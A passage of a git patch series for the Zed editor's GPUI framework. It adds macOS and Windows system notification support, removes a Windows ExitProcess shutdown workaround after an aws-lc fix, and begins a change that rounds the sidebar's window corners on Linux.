+        // them to the registered callback on the main thread.
+        if let Some(mut receiver) = self.response_receiver.take() {
+            let callback = self.callback.clone();
+            self._response_task = Some(executor.spawn(async move {
+                while let Some(response) = receiver.next().await {
+                    // Take the callback out for the call: it may re-enter the
+                    // platform or replace itself.
+                    let taken = callback.borrow_mut().take();
+                    if let Some(mut taken) = taken {
+                        taken(response);
+                        callback.borrow_mut().get_or_insert(taken);
+                    }
+                }
+            }));
+        }
+    }
+}
+
+fn response_action_id(
+    transport_id: &str,
+    action_ids: &HashMap<String, SharedString>,
+) -> Option<Option<SharedString>> {
+    if transport_id == DEFAULT_ACTION {
+        Some(None)
+    } else {
+        action_ids.get(transport_id).cloned().map(Some)
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn caller_action_ids_do_not_collide_with_transport_action_ids() {
+        let action_ids = HashMap::from([
+            ("gpui-action-0".to_string(), SharedString::from("default")),
+            ("gpui-action-1".to_string(), SharedString::from("__closed")),
+        ]);
+
+        assert_eq!(response_action_id(DEFAULT_ACTION, &action_ids), Some(None));
+        assert_eq!(
+            response_action_id("gpui-action-0", &action_ids),
+            Some(Some("default".into()))
+        );
+        assert_eq!(
+            response_action_id("gpui-action-1", &action_ids),
+            Some(Some("__closed".into()))
+        );
+        assert_eq!(response_action_id("unknown", &action_ids), None);
+    }
+}
diff --git a/crates/gpui_macos/Cargo.toml b/crates/gpui_macos/Cargo.toml
index 3c359ed53f8229..610d65a71f4e7c 100644
--- a/crates/gpui_macos/Cargo.toml
+++ b/crates/gpui_macos/Cargo.toml
@@ -27,6 +27,7 @@ accesskit_macos.workspace = true
 anyhow.workspace = true
 async-task = "4.7"
 block = "0.1"
+block2.workspace = true
 cocoa.workspace = true
 collections.workspace = true
 core-foundation.workspace = true
@@ -54,6 +55,7 @@ objc.workspace = true
 objc2.workspace = true
 objc2-app-kit.workspace = true
 objc2-foundation.workspace = true
+objc2-user-notifications.workspace = true
 parking_lot.workspace = true
 pathfinder_geometry = "0.5"
 raw-window-handle.workspace = true
diff --git a/crates/gpui_macos/src/gpui_macos.rs b/crates/gpui_macos/src/gpui_macos.rs
index b9b55430b81fc7..9a9e4d7ae801a8 100644
--- a/crates/gpui_macos/src/gpui_macos.rs
+++ b/crates/gpui_macos/src/gpui_macos.rs
@@ -10,6 +10,7 @@ mod display_link;
 mod events;
 mod keyboard;
 mod pasteboard;
+mod system_notifications;
 
 #[cfg(feature = "screen-capture")]
 mod screen_capture;
diff --git a/crates/gpui_macos/src/platform.rs b/crates/gpui_macos/src/platform.rs
index eed9e90bcd3f7b..b25067935e5f2b 100644
--- a/crates/gpui_macos/src/platform.rs
+++ b/crates/gpui_macos/src/platform.rs
@@ -189,6 +189,7 @@ pub(crate) struct MacPlatformState {
     keyboard_mapper: Rc<MacKeyboardMapper>,
     /// Mirrors `[NSCursor setHiddenUntilMouseMoves:]` state, which AppKit doesn't expose.
     cursor_visible: Arc<AtomicBool>,
+    system_notifications: crate::system_notifications::SystemNotificationState,
 }
 
 impl MacPlatform {
@@ -235,6 +236,7 @@ impl MacPlatform {
             menus: None,
             keyboard_mapper,
             cursor_visible: Arc::new(AtomicBool::new(true)),
+            system_notifications: crate::system_notifications::SystemNotificationState::new(),
         }))
     }
 
@@ -968,6 +970,27 @@ impl Platform for MacPlatform {
         }
     }
 
+    fn show_system_notification(&self, notification: gpui::SystemNotification) {
+        let mut state = self.0.lock();
+        let executor = state.foreground_executor.clone();
+        state.system_notifications.show(&executor, notification);
+    }
+
+    fn dismiss_system_notification(&self, tag: &str) {
+        let mut state = self.0.lock();
+        let executor = state.foreground_executor.clone();
+        state.system_notifications.dismiss(&executor, tag);
+    }
+
+    fn on_system_notification_response(
+        &self,
+        callback: Box<dyn FnMut(gpui::SystemNotificationResponse)>,
+    ) {
+        let mut state = self.0.lock();
+        let executor = state.foreground_executor.clone();
+        state.system_notifications.on_response(&executor, callback);
+    }
+
     fn keyboard_layout(&self) -> Box<dyn PlatformKeyboardLayout> {
         Box::new(MacKeyboardLayout::new())
     }
diff --git a/crates/gpui_macos/src/system_notifications.rs b/crates/gpui_macos/src/system_notifications.rs
new file mode 100644
index 00000000000000..4bfd9522cacdef
--- /dev/null
+++ b/crates/gpui_macos/src/system_notifications.rs
@@ -0,0 +1,309 @@
+//! System notifications through the `UNUserNotificationCenter` API.
+//!
+//! Everything here runs lazily: nothing touches the notification center (and
+//! so nothing can trigger the authorization prompt or the framework's
+//! not-in-a-bundle abort) until the application posts a notification or
+//! registers a response callback.
+
+use std::cell::{Cell, RefCell};
+use std::collections::HashMap;
+use std::rc::Rc;
+
+use block2::RcBlock;
+use futures::StreamExt as _;
+use futures::channel::mpsc;
+use gpui::{
+    ForegroundExecutor, SharedString, SystemNotification, SystemNotificationAction,
+    SystemNotificationResponse, Task,
+};
+use objc2::rc::Retained;
+use objc2::runtime::{Bool, ProtocolObject};
+use objc2::{AnyThread, DefinedClass, define_class, msg_send};
+use objc2_foundation::{NSArray, NSBundle, NSError, NSObject, NSObjectProtocol, NSSet, NSString};
+use objc2_user_notifications::{
+    UNAuthorizationOptions, UNMutableNotificationContent, UNNotification, UNNotificationAction,
+    UNNotificationActionOptions, UNNotificationCategory, UNNotificationCategoryOptions,
+    UNNotificationDefaultActionIdentifier, UNNotificationPresentationOptions,
+    UNNotificationRequest, UNNotificationResponse, UNUserNotificationCenter,
+    UNUserNotificationCenterDelegate,
+};
+
+type ResponseCallback = Rc<RefCell<Option<Box<dyn FnMut(SystemNotificationResponse)>>>>;
+
+pub(crate) struct SystemNotificationState {
+    initialized: bool,
+    center: Option<NotificationCenter>,
+    callback: ResponseCallback,
+    _response_task: Option<Task<()>>,
+}
+
+impl SystemNotificationState {
+    pub(crate) fn new() -> Self {
+        Self {
+            initialized: false,
+            center: None,
+            callback: Rc::new(RefCell::new(None)),
+            _response_task: None,
+        }
+    }
+
+    pub(crate) fn show(&mut self, executor: &ForegroundExecutor, notification: SystemNotification) {
+        self.initialize(executor);
+        if let Some(center) = &self.center {
+            center.show(notification);
+        }
+    }
+
+    pub(crate) fn dismiss(&mut self, executor: &ForegroundExecutor, tag: &str) {
+        self.initialize(executor);
+        if let Some(center) = &self.center {
+            center.dismiss(tag);
+        }
+    }
+
+    pub(crate) fn on_response(
+        &mut self,
+        executor: &ForegroundExecutor,
+        callback: Box<dyn FnMut(SystemNotificationResponse)>,
+    ) {
+        self.initialize(executor);
+        *self.callback.borrow_mut() = Some(callback);
+    }
+
+    fn initialize(&mut self, executor: &ForegroundExecutor) {
+        if self.initialized {
+            return;
+        }
+        self.initialized = true;
+
+        let (sender, mut receiver) = mpsc::unbounded();
+        self.center = NotificationCenter::new(sender);
+        if self.center.is_none() {
+            return;
+        }
+
+        // Responses arrive from the delegate on an arbitrary thread; this task
+        // hands them to the registered callback on the main thread.
+        let callback = self.callback.clone();
+        self._response_task = Some(executor.spawn(async move {
+            while let Some(response) = receiver.next().await {
+                // Take the callback out for the call: it may re-enter the
+                // platform (e.g. to dismiss the notification it was told
+                // about) or replace itself.
+                let taken = callback.borrow_mut().take();
+                if let Some(mut taken) = taken {
+                    taken(response);
+                    callback.borrow_mut().get_or_insert(taken);
+                }
+            }
+        }));
+    }
+}
+
+struct NotificationCenter {
+    center: Retained<UNUserNotificationCenter>,
+    /// The center's `delegate` property is weak; keeping the delegate retained
+    /// here keeps response handling alive for the app's lifetime.
+    _delegate: Retained<NotificationResponseDelegate>,
+    /// The union of every action set registered so far. Categories are shared
+    /// by notifications with identical actions because macOS replaces the
+    /// entire registered set whenever a category is added.
+    categories: RefCell<
+        HashMap<Vec<SystemNotificationAction>, (SharedString, Retained<UNNotificationCategory>)>,
+    >,
+    authorization_requested: Cell<bool>,
+}
+
+impl NotificationCenter {
+    fn new(sender: mpsc::UnboundedSender<SystemNotificationResponse>) -> Option<Self> {
+        // `UNUserNotificationCenter` raises `NSInternalInconsistencyException`
+        // ("bundleProxyForCurrentProcess is nil"), aborting the process, when
+        // the binary isn't part of an app bundle — which is how dev builds run
+        // via `cargo run`. A bundle identifier is only present when launched
+        // from a real `.app`, so use it as the guard.
+        if NSBundle::mainBundle().bundleIdentifier().is_none() {
+            log::info!("system notifications disabled: not running from an app bundle");
+            return None;
+        }
+
+        let center = UNUserNotificationCenter::currentNotificationCenter();
+        let delegate = NotificationResponseDelegate::new(sender);
+        center.setDelegate(Some(ProtocolObject::from_ref(&*delegate)));
+
+        Some(Self {
+            center,
+            _delegate: delegate,
+            categories: RefCell::new(HashMap::new()),
+            authorization_requested: Cell::new(false),
+        })
+    }
+
+    fn request_authorization(&self) {
+        if self.authorization_requested.replace(true) {
+            return;
+        }
+        let completion = RcBlock::new(|granted: Bool, error: *mut NSError| {
+            // SAFETY: when non-null, `error` is a valid `NSError` for the
+            // duration of the callback.
+            if let Some(error) = unsafe { error.as_ref() } {
+                log::warn!(
+                    "system notification authorization failed: {}",
+                    error.localizedDescription()
+                );
+            } else if !granted.as_bool() {
+                log::info!("system notification authorization denied");
+            }
+        });
+        self.center
+            .requestAuthorizationWithOptions_completionHandler(
+                UNAuthorizationOptions::Alert | UNAuthorizationOptions::Sound,
+                &completion,
+            );
+    }
+
+    fn show(&self, notification: SystemNotification) {
+        self.request_authorization();
+
+        let content = UNMutableNotificationContent::new();
+        content.setTitle(&NSString::from_str(&notification.title));
+        content.setBody(&NSString::from_str(&notification.body));
+        if !notification.actions.is_empty() {
+            let category_identifier = self.register_category(&notification.actions);
+            content.setCategoryIdentifier(&NSString::from_str(&category_identifier));
+        }
+
+        // A nil trigger delivers immediately. Reusing the tag as the request
+        // identifier makes a newer notification for the same tag replace the
+        // older one.
+        let request = UNNotificationRequest::requestWithIdentifier_content_trigger(
+            &NSString::from_str(&notification.tag),
+            &content,
+            None,
+        );
+        let completion = RcBlock::new(|error: *mut NSError| {
+            // SAFETY: when non-null, `error` is a valid `NSError` for the
+            // duration of the callback.
+            if let Some(error) = unsafe { error.as_ref() } {
+                log::warn!(
+                    "failed to deliver system notification: {}",
+                    error.localizedDescription()
+                );
+            }
+        });
+        self.center
+            .addNotificationRequest_withCompletionHandler(&request, Some(&completion));
+    }
+
+    fn register_category(&self, actions: &[SystemNotificationAction]) -> SharedString {
+        let mut categories = self.categories.borrow_mut();
+        if let Some((identifier, _category)) = categories.get(actions) {
+            return identifier.clone();
+        }
+
+        let identifier =
+            SharedString::from(format!("gpui-system-notification-{}", categories.len()));
+        let platform_actions: Vec<Retained<UNNotificationAction>> = actions
+            .iter()
+            .map(|action| {
+                UNNotificationAction::actionWithIdentifier_title_options(
+                    &NSString::from_str(&action.id),
+                    &NSString::from_str(&action.label),
+                    UNNotificationActionOptions::empty(),
+                )
+            })
+            .collect();
+        let category =
+            UNNotificationCategory::categoryWithIdentifier_actions_intentIdentifiers_options(
+                &NSString::from_str(&identifier),
+                &NSArray::from_retained_slice(&platform_actions),
+                &NSArray::new(),
+                UNNotificationCategoryOptions::empty(),
+            );
+
+        categories.insert(actions.to_vec(), (identifier.clone(), category));
+        let all: Vec<Retained<UNNotificationCategory>> = categories
+            .values()
+            .map(|(_identifier, category)| category.clone())
+            .collect();
+        self.center
+            .setNotificationCategories(&NSSet::from_retained_slice(&all));
+        identifier
+    }
+
+    fn dismiss(&self, tag: &str) {
+        let identifiers = NSArray::from_retained_slice(&[NSString::from_str(tag)]);
+        self.center
+            .removePendingNotificationRequestsWithIdentifiers(&identifiers);
+        self.center
+            .removeDeliveredNotificationsWithIdentifiers(&identifiers);
+    }
+}
+
+struct DelegateIvars {
+    sender: mpsc::UnboundedSender<SystemNotificationResponse>,
+}
+
+define_class!(
+    // SAFETY: `NSObject` has no subclassing requirements and
+    // `NotificationResponseDelegate` does not implement `Drop`.
+    #[unsafe(super(NSObject))]
+    #[ivars = DelegateIvars]
+    struct NotificationResponseDelegate;
+
+    unsafe impl NSObjectProtocol for NotificationResponseDelegate {}
+
+    unsafe impl UNUserNotificationCenterDelegate for NotificationResponseDelegate {
+        // Called when the user activates a delivered notification, possibly on
+        // a non-main thread; the channel hop hands the response to the
+        // foreground task holding the receiver.
+        #[unsafe(method(userNotificationCenter:didReceiveNotificationResponse:withCompletionHandler:))]
+        fn did_receive_notification_response(
+            &self,
+            _center: &UNUserNotificationCenter,
+            response: &UNNotificationResponse,
+            completion_handler: &block2::DynBlock<dyn Fn()>,
+        ) {
+            let tag = response.notification().request().identifier().to_string();
+            let action = response.actionIdentifier();
+            // The other well-known identifier, `UNNotificationDismissActionIdentifier`,
+            // is only delivered for categories opting into dismiss callbacks,
+            // which we never request.
+            let action_id = if &*action == unsafe { UNNotificationDefaultActionIdentifier } {
+                None
+            } else {
+                Some(SharedString::from(action.to_string()))
+            };
+            self.ivars()
+                .sender
+                .unbounded_send(SystemNotificationResponse {
+                    tag: SharedString::from(tag),
+                    action_id,
+                })
+                .ok();
+            completion_handler.call(());
+        }
+
+        // Without this, macOS suppresses banners while the app is frontmost.
+        // Posting is the application's decision; whether the app is focused is
+        // its criterion to apply, not the platform's.
+        #[unsafe(method(userNotificationCenter:willPresentNotification:withCompletionHandler:))]
+        fn will_present_notification(
+            &self,
+            _center: &UNUserNotificationCenter,
+            _notification: &UNNotification,
+            completion_handler: &block2::DynBlock<dyn Fn(UNNotificationPresentationOptions)>,
+        ) {
+            completion_handler
+                .call((UNNotificationPresentationOptions::Banner
+                    | UNNotificationPresentationOptions::List,));
+        }
+    }
+);
+
+impl NotificationResponseDelegate {
+    fn new(sender: mpsc::UnboundedSender<SystemNotificationResponse>) -> Retained<Self> {
+        let this = Self::alloc().set_ivars(DelegateIvars { sender });
+        // SAFETY: `NSObject`'s `init` is its designated initializer.
+        unsafe { msg_send![super(this), init] }
+    }
+}
diff --git a/crates/gpui_windows/src/gpui_windows.rs b/crates/gpui_windows/src/gpui_windows.rs
index 0af5411d20e4fb..692d0dbbfd1f4b 100644
--- a/crates/gpui_windows/src/gpui_windows.rs
+++ b/crates/gpui_windows/src/gpui_windows.rs
@@ -12,6 +12,7 @@ mod display;
 mod events;
 mod keyboard;
 mod platform;
+mod system_notifications;
 mod system_settings;
 mod util;
 mod vsync;
@@ -29,6 +30,7 @@ pub(crate) use display::*;
 pub(crate) use events::*;
 pub(crate) use keyboard::*;
 pub(crate) use platform::*;
+pub(crate) use system_notifications::*;
 pub(crate) use system_settings::*;
 pub(crate) use util::*;
 pub(crate) use vsync::*;
diff --git a/crates/gpui_windows/src/platform.rs b/crates/gpui_windows/src/platform.rs
index 9ba94563a4097e..b3ad4962004e37 100644
--- a/crates/gpui_windows/src/platform.rs
+++ b/crates/gpui_windows/src/platform.rs
@@ -47,6 +47,9 @@ pub struct WindowsPlatform {
     handle: HWND,
     suspend_resume_notification: RefCell<Option<HPOWERNOTIFY>>,
     disable_direct_composition: bool,
+    has_package_identity: bool,
+    app_identity: RefCell<Option<(String, String)>>,
+    system_notifications: RefCell<SystemNotificationState>,
 }
 
 struct WindowsPlatformInner {
@@ -197,8 +200,11 @@ impl WindowsPlatform {
             direct_write_text_system,
             suspend_resume_notification: RefCell::new(None),
             disable_direct_composition,
+            has_package_identity: has_package_identity(),
             drop_target_helper,
             invalidate_devices: Arc::new(AtomicBool::new(false)),
+            app_identity: RefCell::new(None),
+            system_notifications: RefCell::new(SystemNotificationState::new()),
         })
     }
 
@@ -646,6 +652,51 @@ impl Platform for WindowsPlatform {
         }
     }
 
+    fn set_app_identity(&self, identifier: &str, name: &str) {
+        // If the process has package identity, it's automatally granted an AUMID by the system.
+        if self.has_package_identity {
+            return;
+        }
+
+        let identifier_utf16 = windows::core::HSTRING::from(identifier);
+        // SAFETY: `identifier_utf16` outlives the call and is null-terminated.
+        if let Err(error) = unsafe {
+            windows::Win32::UI::Shell::SetCurrentProcessExplicitAppUserModelID(
+                windows::core::PCWSTR(identifier_utf16.as_ptr()),
+            )
+        } {
+            log::warn!("failed to set the process AppUserModelID: {error}");
+        }
+        *self.app_identity.borrow_mut() = Some((identifier.to_string(), name.to_string()));
+    }
+
+    fn show_system_notification(&self, notification: gpui::SystemNotification) {
+        let app_identity = self.app_identity.borrow().clone();
+        self.system_notifications
+            .borrow_mut()
+            .show(
+                self.has_package_identity,
+                app_identity
+                    .as_ref()
+                    .map(|(identifier, name)| (identifier.as_str(), name.as_str())),
+                notification,
+            )
+            .log_err();
+    }
+
+    fn dismiss_system_notification(&self, tag: &str) {
+        self.system_notifications.borrow_mut().dismiss(tag);
+    }
+
+    fn on_system_notification_response(
+        &self,
+        callback: Box<dyn FnMut(gpui::SystemNotificationResponse)>,
+    ) {
+        self.system_notifications
+            .borrow_mut()
+            .on_response(&self.foreground_executor, callback);
+    }
+
     fn set_menus(&self, menus: Vec<Menu>, _keymap: &Keymap) {
         *self.inner.state.menus.borrow_mut() = menus.into_iter().map(|menu| menu.owned()).collect();
     }
@@ -1104,6 +1155,24 @@ struct PlatformWindowCreateContext {
     dispatcher: Option<Arc<WindowsDispatcher>>,
 }
 
+fn has_package_identity() -> bool {
+    let mut package_full_name_length = 0;
+    let result = unsafe {
+        windows::Win32::Storage::Packaging::Appx::GetCurrentPackageFullName(
+            &mut package_full_name_length,
+            None,
+        )
+    };
+    if result == ERROR_INSUFFICIENT_BUFFER {
+        true
+    } else if result == APPMODEL_ERROR_NO_PACKAGE {
+        false
+    } else {
+        log::warn!("failed to determine whether the process has package identity: {result:?}");
+        false
+    }
+}
+
 fn open_target(target: impl AsRef<OsStr>) -> Result<()> {
     let target = target.as_ref();
     let ret = unsafe {
diff --git a/crates/gpui_windows/src/system_notifications.rs b/crates/gpui_windows/src/system_notifications.rs
new file mode 100644
index 00000000000000..b0075f0e39d781
--- /dev/null
+++ b/crates/gpui_windows/src/system_notifications.rs
@@ -0,0 +1,198 @@
+//! System notifications as Windows toast notifications.
+
+use std::cell::RefCell;
+use std::collections::{HashMap, hash_map::DefaultHasher};
+use std::hash::{Hash as _, Hasher as _};
+use std::rc::Rc;
+
+use futures::StreamExt as _;
+use futures::channel::mpsc;
+use gpui::{
+    ForegroundExecutor, SharedString, SystemNotification, SystemNotificationResponse, Task,
+};
+use windows::Data::Xml::Dom::XmlDocument;
+use windows::Foundation::TypedEventHandler;
+use windows::UI::Notifications::{
+    ToastActivatedEventArgs, ToastNotification, ToastNotificationManager, ToastNotifier,
+};
+use windows::core::{IInspectable, Interface as _, h};
+
+type ResponseCallback = Rc<RefCell<Option<Box<dyn FnMut(SystemNotificationResponse)>>>>;
+
+pub(crate) struct SystemNotificationState {
+    notifier: Option<ToastNotifier>,
+    active_toasts: HashMap<SharedString, ToastNotification>,
+    response_sender: mpsc::UnboundedSender<SystemNotificationResponse>,
+    response_receiver: Option<mpsc::UnboundedReceiver<SystemNotificationResponse>>,
+    callback: ResponseCallback,
+    _response_task: Option<Task<()>>,
+}
+
+impl SystemNotificationState {
+    pub(crate) fn new() -> Self {
+        let (response_sender, response_receiver) = mpsc::unbounded();
+        Self {
+            notifier: None,
+            active_toasts: HashMap::new(),
+            response_sender,
+            response_receiver: Some(response_receiver),
+            callback: Rc::new(RefCell::new(None)),
+            _response_task: None,
+        }
+    }
+
+    pub(crate) fn show(
+        &mut self,
+        has_package_identity: bool,
+        app_identity: Option<(&str, &str)>,
+        notification: SystemNotification,
+    ) -> windows::core::Result<()> {
+        let Some(notifier) = self.notifier(has_package_identity, app_identity)? else {
+            return Ok(());
+        };
+
+        let document = toast_document(&notification)?;
+        let toast = ToastNotification::CreateToastNotification(&document)?;
+        // Windows caps toast tags at 64 characters (post-Creators Update),
+        // so hash the arbitrary GPUI tag down to a fixed-width value.
+        let tag = {
+            let mut hasher = DefaultHasher::new();
+            notification.tag.hash(&mut hasher);
+            format!("{:016x}", hasher.finish())
+        };
+        toast.SetTag(&tag.into())?;
+
+        let sender = self.response_sender.clone();
+        let response_tag = notification.tag.clone();
+        toast.Activated(&TypedEventHandler::<ToastNotification, IInspectable>::new(
+            move |_sender, arguments| {
+                let action_id = arguments
+                    .as_ref()
+                    .and_then(|arguments| arguments.cast::<ToastActivatedEventArgs>().ok())
+                    .and_then(|arguments| arguments.Arguments().ok())
+                    .filter(|arguments| !arguments.is_empty())
+                    .map(|arguments| SharedString::from(arguments.to_string()));
+                sender
+                    .unbounded_send(SystemNotificationResponse {
+                        tag: response_tag.clone(),
+                        action_id,
+                    })
+                    .ok();
+                Ok(())
+            },
+        ))?;
+
+        if let Some(previous) = self.active_toasts.remove(&notification.tag) {
+            notifier.Hide(&previous)?;
+        }
+        notifier.Show(&toast)?;
+        self.active_toasts.insert(notification.tag, toast);
+        Ok(())
+    }
+
+    pub(crate) fn dismiss(&mut self, tag: &str) {
+        let Some(toast) = self.active_toasts.remove(tag) else {
+            return;
+        };
+        let Some(notifier) = &self.notifier else {
+            return;
+        };
+        if let Err(error) = notifier.Hide(&toast) {
+            log::warn!("failed to dismiss system notification: {error}");
+        }
+    }
+
+    pub(crate) fn on_response(
+        &mut self,
+        executor: &ForegroundExecutor,
+        callback: Box<dyn FnMut(SystemNotificationResponse)>,
+    ) {
+        *self.callback.borrow_mut() = Some(callback);
+
+        if let Some(mut receiver) = self.response_receiver.take() {
+            let callback = self.callback.clone();
+            self._response_task = Some(executor.spawn(async move {
+                while let Some(response) = receiver.next().await {
+                    // Take the callback out for the call: it may re-enter the
+                    // platform (e.g. to dismiss the notification it was told
+                    // about) or replace itself.
+                    let taken = callback.borrow_mut().take();
+                    if let Some(mut taken) = taken {
+                        taken(response);
+                        callback.borrow_mut().get_or_insert(taken);
+                    }
+                }
+            }));
+        }
+    }
+
+    fn notifier(
+        &mut self,
+        has_package_identity: bool,
+        app_identity: Option<(&str, &str)>,
+    ) -> windows::core::Result<Option<ToastNotifier>> {
+        if let Some(notifier) = &self.notifier {
+            return Ok(Some(notifier.clone()));
+        }
+
+        let notifier = if has_package_identity {
+            ToastNotificationManager::CreateToastNotifier()?
+        } else {
+            let Some((app_identifier, app_name)) = app_identity else {
+                log::warn!(
+                    "cannot show a system notification without an app identity; \
+                     call `App::set_app_identity` during startup"
+                );
+                return Ok(None);
+            };
+            register_app_user_model_id(app_identifier, app_name);
+            ToastNotificationManager::CreateToastNotifierWithId(&app_identifier.into())?
+        };
+
+        self.notifier = Some(notifier.clone());
+        Ok(Some(notifier))
+    }
+}
+
+fn toast_document(notification: &SystemNotification) -> windows::core::Result<XmlDocument> {
+    let document = XmlDocument::new()?;
+    let toast = document.CreateElement(h!("toast"))?;
+    document.AppendChild(&toast)?;
+
+    let visual = document.CreateElement(h!("visual"))?;
+    toast.AppendChild(&visual)?;
+    let binding = document.CreateElement(h!("binding"))?;
+    binding.SetAttribute(h!("template"), h!("ToastGeneric"))?;
+    visual.AppendChild(&binding)?;
+    for text in [&notification.title, &notification.body] {
+        let element = document.CreateElement(h!("text"))?;
+        element.SetInnerText(&text.as_ref().into())?;
+        binding.AppendChild(&element)?;
+    }
+
+    if !notification.actions.is_empty() {
+        let actions = document.CreateElement(h!("actions"))?;
+        toast.AppendChild(&actions)?;
+        for action in &notification.actions {
+            let action_element = document.CreateElement(h!("action"))?;
+            action_element.SetAttribute(h!("content"), &action.label.as_ref().into())?;
+            action_element.SetAttribute(h!("arguments"), &action.id.as_ref().into())?;
+            actions.AppendChild(&action_element)?;
+        }
+    }
+
+    let audio = document.CreateElement(h!("audio"))?;
+    audio.SetAttribute(h!("silent"), h!("true"))?;
+    toast.AppendChild(&audio)?;
+    Ok(document)
+}
+
+/// Registers the app's AUMID so toasts display correctly for an unpackaged app without a Start Menu shortcut.
+fn register_app_user_model_id(app_identifier: &str, app_name: &str) {
+    let result = windows_registry::CURRENT_USER
+        .create(format!(r"Software\Classes\AppUserModelId\{app_identifier}"))
+        .and_then(|key| key.set_string("DisplayName", app_name));
+    if let Err(error) = result {
+        log::warn!("failed to register AppUserModelID; notifications may not display: {error}");
+    }
+}

From 7eb8af27a6f1995edbd2122597e7077b4040fe41 Mon Sep 17 00:00:00 2001
From: John Tur <john-tur@outlook.com>
Date: Fri, 17 Jul 2026 15:16:49 -0400
Subject: [PATCH 527/772] gpui: Remove `ExitProcess` shutdown workaround
 (#61219)

The issue with aws-lc that necessitated this workaround has been fixed
upstream: https://github.com/aws/aws-lc/issues/3197.

Release Notes:

- N/A
---
 Cargo.lock                          |  9 +++++----
 crates/gpui_windows/src/platform.rs | 11 -----------
 2 files changed, 5 insertions(+), 15 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index fde8ae565b8f7e..d50177c148a1b5 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -1559,9 +1559,9 @@ dependencies = [
 
 [[package]]
 name = "aws-lc-rs"
-version = "1.16.3"
+version = "1.17.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0ec6fb3fe69024a75fa7e1bfb48aa6cf59706a101658ea01bfd33b2b248a038f"
+checksum = "4342d8937fc7e5dd9b1c60292261c0670c882a2cd1719cfc11b1af41731e32ad"
 dependencies = [
  "aws-lc-sys",
  "untrusted 0.7.1",
@@ -1570,14 +1570,15 @@ dependencies = [
 
 [[package]]
 name = "aws-lc-sys"
-version = "0.40.0"
+version = "0.42.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f50037ee5e1e41e7b8f9d161680a725bd1626cb6f8c7e901f91f942850852fe7"
+checksum = "6d9ceb1da931507a12f4fccea479dccd00da1943e1b4ae72d8e502d707361444"
 dependencies = [
  "cc",
  "cmake",
  "dunce",
  "fs_extra",
+ "pkg-config",
 ]
 
 [[package]]
diff --git a/crates/gpui_windows/src/platform.rs b/crates/gpui_windows/src/platform.rs
index b3ad4962004e37..f8939e9e4c393f 100644
--- a/crates/gpui_windows/src/platform.rs
+++ b/crates/gpui_windows/src/platform.rs
@@ -423,17 +423,6 @@ impl Platform for WindowsPlatform {
 
         self.inner
             .with_callback(|callbacks| &callbacks.quit, |callback| callback());
-
-        // Bypass the CRT exit logic, which runs atexit handlers before calling ExitProcess.
-        // aws-lc registers an atexit handler that intentionally acquires a lock without releasing it.
-        // aws-lc also has thread_local objects which acquire this lock in their destructor.
-        // Destructors for thread_locals run under the loader lock, so there is a race condition
-        // where, if a thread exits after atexit handlers have run, the TLS destructors will block
-        // indefinitely on this lock while holding the loader lock. Since ExitProcess also requires
-        // the loader lock, process teardown will deadlock.
-        unsafe {
-            windows::Win32::System::Threading::ExitProcess(0);
-        }
     }
 
     fn quit(&self) {

From 9d7ab044366fb266cecb30b214aea8b7b94c032d Mon Sep 17 00:00:00 2001
From: Eric Holk <eric@zed.dev>
Date: Fri, 17 Jul 2026 16:58:06 -0700
Subject: [PATCH 528/772] Round window corners on the sidebar side on Linux
 (#61229)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

On Linux with client-side decorations, opening the workspace sidebar
squared off the window corners on the sidebar's side while the rest of
the window stayed rounded:

Before:
<img width="366" height="239" alt="image"
src="https://github.com/user-attachments/assets/e0ee8d28-6143-42ea-bfd2-10d069df5492"
/>

After:
<img width="426" height="219" alt="image"
src="https://github.com/user-attachments/assets/51d2979d-0103-4742-90bd-a97f5837d99b"
/>

Previously, `client_side_decorations` took a `border_radius_tiling`
override that `MultiWorkspace` used to deliberately square the window
shape on the sidebar's side, since the sidebar painted a square
background that would otherwise poke out past the rounded window border.
The title bar and status bar already skip rounding their corners on the
sidebar side, implying the sidebar is expected to own those window
corners — it just never rounded them.

This PR makes the sidebar round its outer corners the same way the title
bar and status bar do (including overlapping the 1px window border on
untiled edges to avoid a transparent gap in the rounded corners), and
removes the now-unneeded `border_radius_tiling` parameter so the window
border and backdrop round purely based on actual tiling state.

Only applies when the window uses client-side decorations, so macOS and
Windows are unaffected.

Fixes #54724

Release Notes:

- Fixed square window corners on the sidebar side of client-decorated
(Linux) windows when the workspace sidebar is open.

---------

Co-authored-by: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
---
 .../src/pages/audio_test_window.rs            |  5 +-
 crates/settings_ui/src/settings_ui.rs         |  6 +--
 crates/sidebar/src/sidebar.rs                 | 52 ++++++++++++++++---
 crates/workspace/src/multi_workspace.rs       |  9 +---
 crates/workspace/src/workspace.rs             | 19 +------
 5 files changed, 54 insertions(+), 37 deletions(-)

diff --git a/crates/settings_ui/src/pages/audio_test_window.rs b/crates/settings_ui/src/pages/audio_test_window.rs
index 060a1c0d352cf0..f1441b083392d9 100644
--- a/crates/settings_ui/src/pages/audio_test_window.rs
+++ b/crates/settings_ui/src/pages/audio_test_window.rs
@@ -1,8 +1,8 @@
 use audio::{AudioSettings, CHANNEL_COUNT, RodioExt, SAMPLE_RATE};
 use cpal::DeviceId;
 use gpui::{
-    App, Context, Entity, FocusHandle, Focusable, Render, Size, Tiling, Window, WindowBounds,
-    WindowKind, WindowOptions, prelude::*, px,
+    App, Context, Entity, FocusHandle, Focusable, Render, Size, Window, WindowBounds, WindowKind,
+    WindowOptions, prelude::*, px,
 };
 use platform_title_bar::PlatformTitleBar;
 use release_channel::ReleaseChannel;
@@ -244,7 +244,6 @@ impl Render for AudioTestWindow {
                 .child(content),
             window,
             cx,
-            Tiling::default(),
         )
     }
 }
diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index f3cf844d78e66c..93ea20626a0067 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -11,9 +11,8 @@ use fuzzy::StringMatchCandidate;
 use gpui::{
     Action, App, AsyncApp, ClipboardItem, DEFAULT_ADDITIONAL_WINDOW_SIZE, Div, Entity, FocusHandle,
     Focusable, Global, KeyContext, ListState, ReadGlobal as _, Role, ScrollHandle, Stateful,
